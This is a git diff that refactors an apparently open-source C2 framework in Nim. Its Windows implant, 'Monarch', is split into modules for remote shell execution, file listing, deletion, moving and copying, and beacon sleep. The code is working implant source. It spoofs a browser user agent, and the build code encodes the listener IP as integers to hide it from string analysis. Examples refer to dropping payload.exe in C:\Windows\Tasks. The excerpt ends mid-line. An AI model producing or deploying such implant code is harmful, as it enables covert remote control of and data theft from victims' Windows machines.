diff --git a/README.md b/README.md index 353e77f..6dadfb8 100644 --- a/README.md +++ b/README.md @@ -2,7 +2,7 @@ Compile with Nim: ``` -nim c src/server/server.nim +nim c -d:server src/server/main.nim ``` From the `bin` directory, start the team server: diff --git a/src/agents/commands.md b/docs/COMMANDS.md similarity index 100% rename from src/agents/commands.md rename to docs/COMMANDS.md diff --git a/src/agent/README.md b/src/agent/README.md new file mode 100644 index 0000000..c0985bf --- /dev/null +++ b/src/agent/README.md @@ -0,0 +1,7 @@ +# Conquest Agents + +The `Monarch` agent is designed to run primarily on Windows. For cross-compilation from UNIX, use: + +``` +./build.sh +``` \ No newline at end of file diff --git a/src/agents/monarch/build.sh b/src/agent/build.sh similarity index 83% rename from src/agents/monarch/build.sh rename to src/agent/build.sh index 58286cc..a515982 100644 --- a/src/agents/monarch/build.sh +++ b/src/agent/build.sh @@ -8,4 +8,5 @@ nim --os:windows \ -d:release \ --outdir:"$CONQUEST_ROOT/bin" \ -o:"monarch.x64.exe" \ - c $CONQUEST_ROOT/src/agents/monarch/main.nim + -d:agent \ + c $CONQUEST_ROOT/src/agent/main.nim diff --git a/src/agents/monarch/core/heartbeat.nim b/src/agent/core/heartbeat.nim similarity index 95% rename from src/agents/monarch/core/heartbeat.nim rename to src/agent/core/heartbeat.nim index 0437e26..9fe0983 100644 --- a/src/agents/monarch/core/heartbeat.nim +++ b/src/agent/core/heartbeat.nim @@ -1,6 +1,6 @@ import times -import ../../../common/[types, serialize, utils, crypto] +import ../../common/[types, serialize, utils, crypto] proc createHeartbeat*(config: AgentConfig): Heartbeat = return Heartbeat( diff --git a/src/agents/monarch/core/http.nim b/src/agent/core/http.nim similarity index 98% rename from src/agents/monarch/core/http.nim rename to src/agent/core/http.nim index cacdd60..8cb181c 100644 --- a/src/agents/monarch/core/http.nim +++ b/src/agent/core/http.nim @@ -1,6 +1,6 @@ import httpclient, json, strformat, asyncdispatch -import ../../../common/[types, utils] +import ../../common/[types, utils] const USER_AGENT = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36" diff --git a/src/agents/monarch/core/register.nim b/src/agent/core/register.nim similarity index 99% rename from src/agents/monarch/core/register.nim rename to src/agent/core/register.nim index 71992e0..accc302 100644 --- a/src/agents/monarch/core/register.nim +++ b/src/agent/core/register.nim @@ -1,6 +1,6 @@ import winim, os, net, strformat, strutils, registry, sugar -import ../../../common/[types, serialize, crypto, utils] +import ../../common/[types, serialize, crypto, utils] # Hostname/Computername proc getHostname(): string = diff --git a/src/agents/monarch/core/task.nim b/src/agent/core/task.nim similarity index 82% rename from src/agents/monarch/core/task.nim rename to src/agent/core/task.nim index 8ee824e..e1af9a0 100644 --- a/src/agents/monarch/core/task.nim +++ b/src/agent/core/task.nim @@ -1,24 +1,13 @@ import strutils, tables, json, strformat, sugar -import ../commands/commands -import ../../../common/[types, serialize, crypto, utils] +import ../../modules/manager +import ../../common/[types, serialize, crypto, utils] proc handleTask*(config: AgentConfig, task: Task): TaskResult = - - let handlers = { - CMD_SLEEP: taskSleep, - CMD_SHELL: taskShell, - CMD_PWD: taskPwd, - CMD_CD: taskCd, - CMD_LS: taskDir, - CMD_RM: taskRm, - CMD_RMDIR: taskRmdir, - CMD_MOVE: taskMove, - CMD_COPY: taskCopy - }.toTable - - # Handle task command - return handlers[cast[CommandType](task.command)](config, task) + try: + return getCommandByType(cast[CommandType](task.command)).execute(config, task) + except CatchableError: + echo "[-] Command not found." proc deserializeTask*(config: AgentConfig, bytes: seq[byte]): Task = diff --git a/src/agents/monarch/core/taskresult.nim b/src/agent/core/taskresult.nim similarity index 96% rename from src/agents/monarch/core/taskresult.nim rename to src/agent/core/taskresult.nim index 2faba2a..44d22a6 100644 --- a/src/agents/monarch/core/taskresult.nim +++ b/src/agent/core/taskresult.nim @@ -1,5 +1,5 @@ import times, sugar -import ../../../common/[types, serialize, crypto, utils] +import ../../common/[types, serialize, crypto, utils] proc createTaskResult*(task: Task, status: StatusType, resultType: ResultType, resultData: seq[byte]): TaskResult = diff --git a/src/agents/monarch/main.nim b/src/agent/main.nim similarity index 97% rename from src/agents/monarch/main.nim rename to src/agent/main.nim index ae30a43..e9cb501 100644 --- a/src/agents/monarch/main.nim +++ b/src/agent/main.nim @@ -2,7 +2,8 @@ import strformat, os, times, system, base64 import winim import core/[task, taskresult, heartbeat, http, register] -import ../../common/[types, utils, crypto] +import ../modules/manager +import ../common/[types, utils, crypto] const ListenerUuid {.strdefine.}: string = "" const Octet1 {.intdefine.}: int = 0 @@ -54,6 +55,9 @@ proc main() = except CatchableError as err: echo "[-] " & err.msg + # Load agent commands + loadModules() + # Create registration payload var registration: AgentRegistrationData = config.collectAgentMetadata() let registrationBytes = config.serializeRegistrationData(registration) diff --git a/src/agents/monarch/nim.cfg b/src/agent/nim.cfg similarity index 100% rename from src/agents/monarch/nim.cfg rename to src/agent/nim.cfg diff --git a/src/agents/README.md b/src/agents/README.md deleted file mode 100644 index 45696ec..0000000 --- a/src/agents/README.md +++ /dev/null @@ -1,7 +0,0 @@ -# Conquest Agents - -For cross-compilation from UNIX to Windows, use: - -``` -./build.sh -``` \ No newline at end of file diff --git a/src/agents/monarch/commands/commands.nim b/src/agents/monarch/commands/commands.nim deleted file mode 100644 index aea0d4d..0000000 --- a/src/agents/monarch/commands/commands.nim +++ /dev/null @@ -1,3 +0,0 @@ -import ./[shell, sleep, filesystem] - -export shell, sleep, filesystem \ No newline at end of file diff --git a/src/agents/monarch/commands/filesystem.nim b/src/agents/monarch/commands/filesystem.nim deleted file mode 100644 index e9532c4..0000000 --- a/src/agents/monarch/commands/filesystem.nim +++ /dev/null @@ -1,269 +0,0 @@ -import os, strutils, strformat, winim, times, algorithm - -import ../core/taskresult -import ../../../common/[types, utils] - -# Retrieve current working directory -proc taskPwd*(config: AgentConfig, task: Task): TaskResult = - - echo fmt" [>] Retrieving current working directory." - - try: - # Get current working directory using GetCurrentDirectory - let - buffer = newWString(MAX_PATH + 1) - length = GetCurrentDirectoryW(MAX_PATH, &buffer) - - if length == 0: - raise newException(OSError, fmt"Failed to get working directory ({GetLastError()}).") - - let output = $buffer[0 ..< (int)length] & "\n" - return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, output.toBytes()) - - except CatchableError as err: - return createTaskResult(task, STATUS_FAILED, RESULT_STRING, err.msg.toBytes()) - - -# Change working directory -proc taskCd*(config: AgentConfig, task: Task): TaskResult = - - # Parse arguments - let targetDirectory = task.args[0].data.toString() - - echo fmt" [>] Changing current working directory to {targetDirectory}." - - try: - # Get current working directory using GetCurrentDirectory - if SetCurrentDirectoryW(targetDirectory) == FALSE: - raise newException(OSError, fmt"Failed to change working directory ({GetLastError()}).") - - return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[]) - - except CatchableError as err: - return createTaskResult(task, STATUS_FAILED, RESULT_STRING, err.msg.toBytes()) - - -# List files and directories at a specific or at the current path -proc taskDir*(config: AgentConfig, task: Task): TaskResult = - - try: - var targetDirectory: string - - # Parse arguments - case int(task.argCount): - of 0: - # Get current working directory using GetCurrentDirectory - let - cwdBuffer = newWString(MAX_PATH + 1) - cwdLength = GetCurrentDirectoryW(MAX_PATH, &cwdBuffer) - - if cwdLength == 0: - raise newException(OSError, fmt"Failed to get working directory ({GetLastError()}).") - - targetDirectory = $cwdBuffer[0 ..< (int)cwdLength] - - of 1: - targetDirectory = task.args[0].data.toString() - else: - discard - - echo fmt" [>] Listing files and directories in {targetDirectory}." - - # Prepare search pattern (target directory + \*) - let searchPattern = targetDirectory & "\\*" - let searchPatternW = newWString(searchPattern) - - var - findData: WIN32_FIND_DATAW - hFind: HANDLE - output = "" - entries: seq[string] = @[] - totalFiles = 0 - totalDirs = 0 - - # Find files and directories in target directory - hFind = FindFirstFileW(searchPatternW, &findData) - - if hFind == INVALID_HANDLE_VALUE: - raise newException(OSError, fmt"Failed to find files ({GetLastError()}).") - - # Directory was found and can be listed - else: - output = fmt"Directory: {targetDirectory}" & "\n\n" - output &= "Mode LastWriteTime Length Name" & "\n" - output &= "---- ------------- ------ ----" & "\n" - - # Process all files and directories - while true: - let fileName = $cast[WideCString](addr findData.cFileName[0]) - - # Skip current and parent directory entries - if fileName != "." and fileName != "..": - # Get file attributes and size - let isDir = (findData.dwFileAttributes and FILE_ATTRIBUTE_DIRECTORY) != 0 - let isHidden = (findData.dwFileAttributes and FILE_ATTRIBUTE_HIDDEN) != 0 - let isReadOnly = (findData.dwFileAttributes and FILE_ATTRIBUTE_READONLY) != 0 - let isArchive = (findData.dwFileAttributes and FILE_ATTRIBUTE_ARCHIVE) != 0 - let fileSize = (int64(findData.nFileSizeHigh) shl 32) or int64(findData.nFileSizeLow) - - # Handle flags - var mode = "" - if isDir: - mode = "d" - inc totalDirs - else: - mode = "-" - inc totalFiles - - if isArchive: - mode &= "a" - else: - mode &= "-" - - if isReadOnly: - mode &= "r" - else: - mode &= "-" - - if isHidden: - mode &= "h" - else: - mode &= "-" - - if (findData.dwFileAttributes and FILE_ATTRIBUTE_SYSTEM) != 0: - mode &= "s" - else: - mode &= "-" - - # Convert FILETIME to local time and format - var - localTime: FILETIME - systemTime: SYSTEMTIME - dateTimeStr = "01/01/1970 00:00:00" - - if FileTimeToLocalFileTime(&findData.ftLastWriteTime, &localTime) != 0 and FileTimeToSystemTime(&localTime, &systemTime) != 0: - # Format date and time in PowerShell style - dateTimeStr = fmt"{systemTime.wDay:02d}/{systemTime.wMonth:02d}/{systemTime.wYear} {systemTime.wHour:02d}:{systemTime.wMinute:02d}:{systemTime.wSecond:02d}" - - # Format file size - var sizeStr = "" - if isDir: - sizeStr = "" - else: - sizeStr = ($fileSize).replace("-", "") - - # Build the entry line - let entryLine = fmt"{mode:<7} {dateTimeStr:<20} {sizeStr:>10} {fileName}" - entries.add(entryLine) - - # Find next file - if FindNextFileW(hFind, &findData) == 0: - break - - # Close find handle - discard FindClose(hFind) - - # Add entries to output after sorting them (directories first, files afterwards) - entries.sort do (a, b: string) -> int: - let aIsDir = a[0] == 'd' - let bIsDir = b[0] == 'd' - - if aIsDir and not bIsDir: - return -1 - elif not aIsDir and bIsDir: - return 1 - else: - # Extract filename for comparison (last part after the last space) - let aParts = a.split(" ") - let bParts = b.split(" ") - let aName = aParts[^1] - let bName = bParts[^1] - return cmp(aName.toLowerAscii(), bName.toLowerAscii()) - - for entry in entries: - output &= entry & "\n" - - # Add summary of how many files/directories have been found - output &= "\n" & fmt"{totalFiles} file(s)" & "\n" - output &= fmt"{totalDirs} dir(s)" & "\n" - - return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, output.toBytes()) - - except CatchableError as err: - return createTaskResult(task, STATUS_FAILED, RESULT_STRING, err.msg.toBytes()) - - -# Remove file -proc taskRm*(config: AgentConfig, task: Task): TaskResult = - - # Parse arguments - let target = task.args[0].data.toString() - - echo fmt" [>] Deleting file {target}." - - try: - if DeleteFile(target) == FALSE: - raise newException(OSError, fmt"Failed to delete file ({GetLastError()}).") - - return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[]) - - except CatchableError as err: - return createTaskResult(task, STATUS_FAILED, RESULT_STRING, err.msg.toBytes()) - - -# Remove directory -proc taskRmdir*(config: AgentConfig, task: Task): TaskResult = - - # Parse arguments - let target = task.args[0].data.toString() - - echo fmt" [>] Deleting directory {target}." - - try: - if RemoveDirectoryA(target) == FALSE: - raise newException(OSError, fmt"Failed to delete directory ({GetLastError()}).") - - return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[]) - - except CatchableError as err: - return createTaskResult(task, STATUS_FAILED, RESULT_STRING, err.msg.toBytes()) - -# Move file or directory -proc taskMove*(config: AgentConfig, task: Task): TaskResult = - - # Parse arguments - let - lpExistingFileName = task.args[0].data.toString() - lpNewFileName = task.args[1].data.toString() - - echo fmt" [>] Moving {lpExistingFileName} to {lpNewFileName}." - - try: - if MoveFile(lpExistingFileName, lpNewFileName) == FALSE: - raise newException(OSError, fmt"Failed to move file or directory ({GetLastError()}).") - - return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[]) - - except CatchableError as err: - return createTaskResult(task, STATUS_FAILED, RESULT_STRING, err.msg.toBytes()) - - -# Copy file or directory -proc taskCopy*(config: AgentConfig, task: Task): TaskResult = - - # Parse arguments - let - lpExistingFileName = task.args[0].data.toString() - lpNewFileName = task.args[1].data.toString() - - echo fmt" [>] Copying {lpExistingFileName} to {lpNewFileName}." - - try: - # Copy file to new location, overwrite if a file with the same name already exists - if CopyFile(lpExistingFileName, lpNewFileName, FALSE) == FALSE: - raise newException(OSError, fmt"Failed to copy file or directory ({GetLastError()}).") - - return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[]) - - except CatchableError as err: - return createTaskResult(task, STATUS_FAILED, RESULT_STRING, err.msg.toBytes()) diff --git a/src/agents/monarch/commands/shell.nim b/src/agents/monarch/commands/shell.nim deleted file mode 100644 index 7c99f59..0000000 --- a/src/agents/monarch/commands/shell.nim +++ /dev/null @@ -1,34 +0,0 @@ -import winim, osproc, strutils, strformat - -import ../core/taskresult -import ../../../common/[types, utils] - -proc taskShell*(config: AgentConfig, task: Task): TaskResult = - - try: - var - command: string - arguments: string - - # Parse arguments - case int(task.argCount): - of 1: # Only the command has been passed as an argument - command = task.args[0].data.toString() - arguments = "" - of 2: # The optional 'arguments' parameter was included - command = task.args[0].data.toString() - arguments = task.args[1].data.toString() - else: - discard - - echo fmt" [>] Executing: {command} {arguments}." - - let (output, status) = execCmdEx(fmt("{command} {arguments}")) - - if output != "": - return createTaskResult(task, cast[StatusType](status), RESULT_STRING, output.toBytes()) - else: - return createTaskResult(task, cast[StatusType](status), RESULT_NO_OUTPUT, @[]) - - except CatchableError as err: - return createTaskResult(task, STATUS_FAILED, RESULT_STRING, err.msg.toBytes()) diff --git a/src/agents/monarch/commands/sleep.nim b/src/agents/monarch/commands/sleep.nim deleted file mode 100644 index 54d2aff..0000000 --- a/src/agents/monarch/commands/sleep.nim +++ /dev/null @@ -1,21 +0,0 @@ -import os, strutils, strformat - -import ../core/taskresult -import ../../../common/[types, utils, serialize] - -proc taskSleep*(config: AgentConfig, task: Task): TaskResult = - - try: - # Parse task parameter - let delay = int(task.args[0].data.toUint32()) - - echo fmt" [>] Sleeping for {delay} seconds." - - sleep(delay * 1000) - - # Updating sleep in agent config - config.sleep = delay - return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[]) - - except CatchableError as err: - return createTaskResult(task, STATUS_FAILED, RESULT_STRING, err.msg.toBytes()) diff --git a/src/common/types.nim b/src/common/types.nim index 951091f..1abcf0a 100644 --- a/src/common/types.nim +++ b/src/common/types.nim @@ -94,21 +94,6 @@ type length*: uint32 # [4 bytes ] result length data*: seq[byte] # variable length result -# Structure for command module definitions - Argument* = object - name*: string - description*: string - argumentType*: ArgType - isRequired*: bool - - Command* = object - name*: string - commandType*: CommandType - description*: string - example*: string - arguments*: seq[Argument] - dispatchMessage*: string - # Checkin binary structure type Heartbeat* = object @@ -189,4 +174,21 @@ type port*: int sleep*: int sessionKey*: Key - agentPublicKey*: Key \ No newline at end of file + agentPublicKey*: Key + +# Structure for command module definitions +type + Argument* = object + name*: string + description*: string + argumentType*: ArgType + isRequired*: bool + + Command* = object + name*: string + commandType*: CommandType + description*: string + example*: string + arguments*: seq[Argument] + dispatchMessage*: string + execute*: proc(config: AgentConfig, task: Task): TaskResult {.nimcall.} \ No newline at end of file diff --git a/src/modules/filesystem.nim b/src/modules/filesystem.nim new file mode 100644 index 0000000..0732e1e --- /dev/null +++ b/src/modules/filesystem.nim @@ -0,0 +1,357 @@ +import ./manager +import ../common/[types, utils] + +when defined(server): + proc executePwd(config: AgentConfig, task: Task): TaskResult = nil + proc executeCd(config: AgentConfig, task: Task): TaskResult = nil + proc executeDir(config: AgentConfig, task: Task): TaskResult = nil + proc executeRm(config: AgentConfig, task: Task): TaskResult = nil + proc executeRmdir(config: AgentConfig, task: Task): TaskResult = nil + proc executeMove(config: AgentConfig, task: Task): TaskResult = nil + proc executeCopy(config: AgentConfig, task: Task): TaskResult = nil + +# Implementation of the execution functions +when defined(agent): + + import os, strutils, strformat, times, algorithm, winim + import ../agent/core/taskresult + + # Retrieve current working directory + proc executePwd(config: AgentConfig, task: Task): TaskResult = + + echo fmt" [>] Retrieving current working directory." + + try: + # Get current working directory using GetCurrentDirectory + let + buffer = newWString(MAX_PATH + 1) + length = GetCurrentDirectoryW(MAX_PATH, &buffer) + + if length == 0: + raise newException(OSError, fmt"Failed to get working directory ({GetLastError()}).") + + let output = $buffer[0 ..< (int)length] & "\n" + return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, output.toBytes()) + + except CatchableError as err: + return createTaskResult(task, STATUS_FAILED, RESULT_STRING, err.msg.toBytes()) + + + # Change working directory + proc executeCd(config: AgentConfig, task: Task): TaskResult = + + # Parse arguments + let targetDirectory = task.args[0].data.toString() + + echo fmt" [>] Changing current working directory to {targetDirectory}." + + try: + # Get current working directory using GetCurrentDirectory + if SetCurrentDirectoryW(targetDirectory) == FALSE: + raise newException(OSError, fmt"Failed to change working directory ({GetLastError()}).") + + return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[]) + + except CatchableError as err: + return createTaskResult(task, STATUS_FAILED, RESULT_STRING, err.msg.toBytes()) + + + # List files and directories at a specific or at the current path + proc executeDir(config: AgentConfig, task: Task): TaskResult = + + try: + var targetDirectory: string + + # Parse arguments + case int(task.argCount): + of 0: + # Get current working directory using GetCurrentDirectory + let + cwdBuffer = newWString(MAX_PATH + 1) + cwdLength = GetCurrentDirectoryW(MAX_PATH, &cwdBuffer) + + if cwdLength == 0: + raise newException(OSError, fmt"Failed to get working directory ({GetLastError()}).") + + targetDirectory = $cwdBuffer[0 ..< (int)cwdLength] + + of 1: + targetDirectory = task.args[0].data.toString() + else: + discard + + echo fmt" [>] Listing files and directories in {targetDirectory}." + + # Prepare search pattern (target directory + \*) + let searchPattern = targetDirectory & "\\*" + let searchPatternW = newWString(searchPattern) + + var + findData: WIN32_FIND_DATAW + hFind: HANDLE + output = "" + entries: seq[string] = @[] + totalFiles = 0 + totalDirs = 0 + + # Find files and directories in target directory + hFind = FindFirstFileW(searchPatternW, &findData) + + if hFind == INVALID_HANDLE_VALUE: + raise newException(OSError, fmt"Failed to find files ({GetLastError()}).") + + # Directory was found and can be listed + else: + output = fmt"Directory: {targetDirectory}" & "\n\n" + output &= "Mode LastWriteTime Length Name" & "\n" + output &= "---- ------------- ------ ----" & "\n" + + # Process all files and directories + while true: + let fileName = $cast[WideCString](addr findData.cFileName[0]) + + # Skip current and parent directory entries + if fileName != "." and fileName != "..": + # Get file attributes and size + let isDir = (findData.dwFileAttributes and FILE_ATTRIBUTE_DIRECTORY) != 0 + let isHidden = (findData.dwFileAttributes and FILE_ATTRIBUTE_HIDDEN) != 0 + let isReadOnly = (findData.dwFileAttributes and FILE_ATTRIBUTE_READONLY) != 0 + let isArchive = (findData.dwFileAttributes and FILE_ATTRIBUTE_ARCHIVE) != 0 + let fileSize = (int64(findData.nFileSizeHigh) shl 32) or int64(findData.nFileSizeLow) + + # Handle flags + var mode = "" + if isDir: + mode = "d" + inc totalDirs + else: + mode = "-" + inc totalFiles + + if isArchive: + mode &= "a" + else: + mode &= "-" + + if isReadOnly: + mode &= "r" + else: + mode &= "-" + + if isHidden: + mode &= "h" + else: + mode &= "-" + + if (findData.dwFileAttributes and FILE_ATTRIBUTE_SYSTEM) != 0: + mode &= "s" + else: + mode &= "-" + + # Convert FILETIME to local time and format + var + localTime: FILETIME + systemTime: SYSTEMTIME + dateTimeStr = "01/01/1970 00:00:00" + + if FileTimeToLocalFileTime(&findData.ftLastWriteTime, &localTime) != 0 and FileTimeToSystemTime(&localTime, &systemTime) != 0: + # Format date and time in PowerShell style + dateTimeStr = fmt"{systemTime.wDay:02d}/{systemTime.wMonth:02d}/{systemTime.wYear} {systemTime.wHour:02d}:{systemTime.wMinute:02d}:{systemTime.wSecond:02d}" + + # Format file size + var sizeStr = "" + if isDir: + sizeStr = "" + else: + sizeStr = ($fileSize).replace("-", "") + + # Build the entry line + let entryLine = fmt"{mode:<7} {dateTimeStr:<20} {sizeStr:>10} {fileName}" + entries.add(entryLine) + + # Find next file + if FindNextFileW(hFind, &findData) == 0: + break + + # Close find handle + discard FindClose(hFind) + + # Add entries to output after sorting them (directories first, files afterwards) + entries.sort do (a, b: string) -> int: + let aIsDir = a[0] == 'd' + let bIsDir = b[0] == 'd' + + if aIsDir and not bIsDir: + return -1 + elif not aIsDir and bIsDir: + return 1 + else: + # Extract filename for comparison (last part after the last space) + let aParts = a.split(" ") + let bParts = b.split(" ") + let aName = aParts[^1] + let bName = bParts[^1] + return cmp(aName.toLowerAscii(), bName.toLowerAscii()) + + for entry in entries: + output &= entry & "\n" + + # Add summary of how many files/directories have been found + output &= "\n" & fmt"{totalFiles} file(s)" & "\n" + output &= fmt"{totalDirs} dir(s)" & "\n" + + return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, output.toBytes()) + + except CatchableError as err: + return createTaskResult(task, STATUS_FAILED, RESULT_STRING, err.msg.toBytes()) + + + # Remove file + proc executeRm(config: AgentConfig, task: Task): TaskResult = + + # Parse arguments + let target = task.args[0].data.toString() + + echo fmt" [>] Deleting file {target}." + + try: + if DeleteFile(target) == FALSE: + raise newException(OSError, fmt"Failed to delete file ({GetLastError()}).") + + return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[]) + + except CatchableError as err: + return createTaskResult(task, STATUS_FAILED, RESULT_STRING, err.msg.toBytes()) + + + # Remove directory + proc executeRmdir(config: AgentConfig, task: Task): TaskResult = + + # Parse arguments + let target = task.args[0].data.toString() + + echo fmt" [>] Deleting directory {target}." + + try: + if RemoveDirectoryA(target) == FALSE: + raise newException(OSError, fmt"Failed to delete directory ({GetLastError()}).") + + return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[]) + + except CatchableError as err: + return createTaskResult(task, STATUS_FAILED, RESULT_STRING, err.msg.toBytes()) + + # Move file or directory + proc executeMove(config: AgentConfig, task: Task): TaskResult = + + # Parse arguments + let + lpExistingFileName = task.args[0].data.toString() + lpNewFileName = task.args[1].data.toString() + + echo fmt" [>] Moving {lpExistingFileName} to {lpNewFileName}." + + try: + if MoveFile(lpExistingFileName, lpNewFileName) == FALSE: + raise newException(OSError, fmt"Failed to move file or directory ({GetLastError()}).") + + return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[]) + + except CatchableError as err: + return createTaskResult(task, STATUS_FAILED, RESULT_STRING, err.msg.toBytes()) + + + # Copy file or directory + proc executeCopy(config: AgentConfig, task: Task): TaskResult = + + # Parse arguments + let + lpExistingFileName = task.args[0].data.toString() + lpNewFileName = task.args[1].data.toString() + + echo fmt" [>] Copying {lpExistingFileName} to {lpNewFileName}." + + try: + # Copy file to new location, overwrite if a file with the same name already exists + if CopyFile(lpExistingFileName, lpNewFileName, FALSE) == FALSE: + raise newException(OSError, fmt"Failed to copy file or directory ({GetLastError()}).") + + return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[]) + + except CatchableError as err: + return createTaskResult(task, STATUS_FAILED, RESULT_STRING, err.msg.toBytes()) + + +# Command definitions +let commands* = @[ + Command( + name: "pwd", + commandType: CMD_PWD, + description: "Retrieve current working directory.", + example: "pwd", + arguments: @[], + execute: executePwd + ), + Command( + name: "cd", + commandType: CMD_CD, + description: "Change current working directory.", + example: "cd C:\\Windows\\Tasks", + arguments: @[ + Argument(name: "directory", description: "Relative or absolute path of the directory to change to.", argumentType: STRING, isRequired: true) + ], + execute: executeCd + ), + Command( + name: "ls", + commandType: CMD_LS, + description: "List files and directories.", + example: "ls C:\\Users\\Administrator\\Desktop", + arguments: @[ + Argument(name: "directory", description: "Relative or absolute path. Default: current working directory.", argumentType: STRING, isRequired: false) + ], + execute: executeDir + ), + Command( + name: "rm", + commandType: CMD_RM, + description: "Remove a file.", + example: "rm C:\\Windows\\Tasks\\payload.exe", + arguments: @[ + Argument(name: "file", description: "Relative or absolute path to the file to delete.", argumentType: STRING, isRequired: true) + ], + execute: executeRm + ), + Command( + name: "rmdir", + commandType: CMD_RMDIR, + description: "Remove a directory.", + example: "rm C:\\Payloads", + arguments: @[ + Argument(name: "directory", description: "Relative or absolute path to the directory to delete.", argumentType: STRING, isRequired: true) + ], + execute: executeRmdir + ), + Command( + name: "move", + commandType: CMD_MOVE, + description: "Move a file or directory.", + example: "move source.exe C:\\Windows\\Tasks\\destination.exe", + arguments: @[ + Argument(name: "source", description: "Source file path.", argumentType: STRING, isRequired: true), + Argument(name: "destination", description: "Destination file path.", argumentType: STRING, isRequired: true) + ], + execute: executeMove + ), + Command( + name: "copy", + commandType: CMD_COPY, + description: "Copy a file or directory.", + example: "copy source.exe C:\\Windows\\Tasks\\destination.exe", + arguments: @[ + Argument(name: "source", description: "Source file path.", argumentType: STRING, isRequired: true), + Argument(name: "destination", description: "Destination file path.", argumentType: STRING, isRequired: true) + ], + execute: executeCopy + ) +] \ No newline at end of file diff --git a/src/modules/manager.nim b/src/modules/manager.nim new file mode 100644 index 0000000..b78a544 --- /dev/null +++ b/src/modules/manager.nim @@ -0,0 +1,38 @@ +import tables, strformat +import ../common/[types, utils] + +# Import modules +import + shell, + sleep, + filesystem + +type + ModuleManager* = object + commandsByType*: Table[CommandType, Command] + commandsByName*: Table[string, Command] + +var manager: ModuleManager + +proc registerCommands(commands: seq[Command]) {.discardable.} = + for cmd in commands: + manager.commandsByType[cmd.commandType] = cmd + manager.commandsByName[cmd.name] = cmd + +proc loadModules*() = + # Register all imported commands + registerCommands(shell.commands) + registerCommands(sleep.commands) + registerCommands(filesystem.commands) + +proc getCommandByType*(cmdType: CommandType): Command = + return manager.commandsByType[cmdType] + +proc getCommandByName*(cmdName: string): Command = + try: + return manager.commandsByName[cmdName] + except ValueError: + raise newException(ValueError, fmt"The command '{cmdName}' does not exist.") + +proc getAvailableCommands*(): Table[string, Command] = + return manager.commandsByName \ No newline at end of file diff --git a/src/modules/shell.nim b/src/modules/shell.nim new file mode 100644 index 0000000..067bd84 --- /dev/null +++ b/src/modules/shell.nim @@ -0,0 +1,55 @@ +import ./manager +import ../common/[types, utils] + +when defined(server): + proc executeShell(config: AgentConfig, task: Task): TaskResult = nil + +# Implement execution functions +when defined(agent): + + import ../agent/core/taskresult + import osproc, strutils, strformat + + proc executeShell(config: AgentConfig, task: Task): TaskResult = + try: + var + command: string + arguments: string + + # Parse arguments + case int(task.argCount): + of 1: # Only the command has been passed as an argument + command = task.args[0].data.toString() + arguments = "" + of 2: # The optional 'arguments' parameter was included + command = task.args[0].data.toString() + arguments = task.args[1].data.toString() + else: + discard + + echo fmt" [>] Executing: {command} {arguments}." + + let (output, status) = execCmdEx(fmt("{command} {arguments}")) + + if output != "": + return createTaskResult(task, cast[StatusType](status), RESULT_STRING, output.toBytes()) + else: + return createTaskResult(task, cast[StatusType](status), RESULT_NO_OUTPUT, @[]) + + except CatchableError as err: + return createTaskResult(task, STATUS_FAILED, RESULT_STRING, err.msg.toBytes()) + +# Command definition (as seq[Command]) +let commands*: seq[Command] = @[ + Command( + name: "shell", + commandType: CMD_SHELL, + description: "Execute a shell command and retrieve the output.", + example: "shell whoami /all", + arguments: @[ + Argument(name: "command", description: "Command to be executed.", argumentType: STRING, isRequired: true), + Argument(name: "arguments", description: "Arguments to be passed to the command.", argumentType: STRING, isRequired: false) + ], + execute: executeShell + ) +] \ No newline at end of file diff --git a/src/modules/sleep.nim b/src/modules/sleep.nim new file mode 100644 index 0000000..98d6a15 --- /dev/null +++ b/src/modules/sleep.nim @@ -0,0 +1,43 @@ +import ./manager +import ../common/[types, utils] + +when defined(server): + proc executeSleep(config: AgentConfig, task: Task): TaskResult = nil + +# Implement execution functions +when defined(agent): + + import os, strutils, strformat + import ../agent/core/taskresult + + proc executeSleep(config: AgentConfig, task: Task): TaskResult = + + try: + # Parse task parameter + let delay = int(task.args[0].data.toUint32()) + + echo fmt" [>] Sleeping for {delay} seconds." + + sleep(delay * 1000) + + # Updating sleep in agent config + config.sleep = delay + return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[]) + + except CatchableError as err: + return createTaskResult(task, STATUS_FAILED, RESULT_STRING, err.msg.toBytes()) + + +# Command definition (as seq[Command]) +let commands* = @[ + Command( + name: "sleep", + commandType: CMD_SLEEP, + description: "Update sleep delay configuration.", + example: "sleep 5", + arguments: @[ + Argument(name: "delay", description: "Delay in seconds.", argumentType: INT, isRequired: true) + ], + execute: executeSleep + ) +] \ No newline at end of file diff --git a/src/server/core/agent.nim b/src/server/core/agent.nim index a791abb..f681f5b 100644 --- a/src/server/core/agent.nim +++ b/src/server/core/agent.nim @@ -135,7 +135,7 @@ proc agentBuild*(cq: Conquest, listener, sleep, payload: string) = let listener = cq.listeners[listener.toUpperAscii] # Create/overwrite nim.cfg file to set agent configuration - let agentConfigFile = fmt"../src/agents/{payload}/nim.cfg" + let agentConfigFile = fmt"../src/agent/nim.cfg" # Parse IP Address and store as compile-time integer to hide hardcoded-strings in binary from `strings` command let (first, second, third, fourth) = parseOctets(listener.address) @@ -160,7 +160,7 @@ proc agentBuild*(cq: Conquest, listener, sleep, payload: string) = cq.writeLine(fgBlack, styleBright, "[*] ", resetStyle, "Configuration file created.") # Build agent by executing the ./build.sh script on the system. - let agentBuildScript = fmt"../src/agents/{payload}/build.sh" + let agentBuildScript = 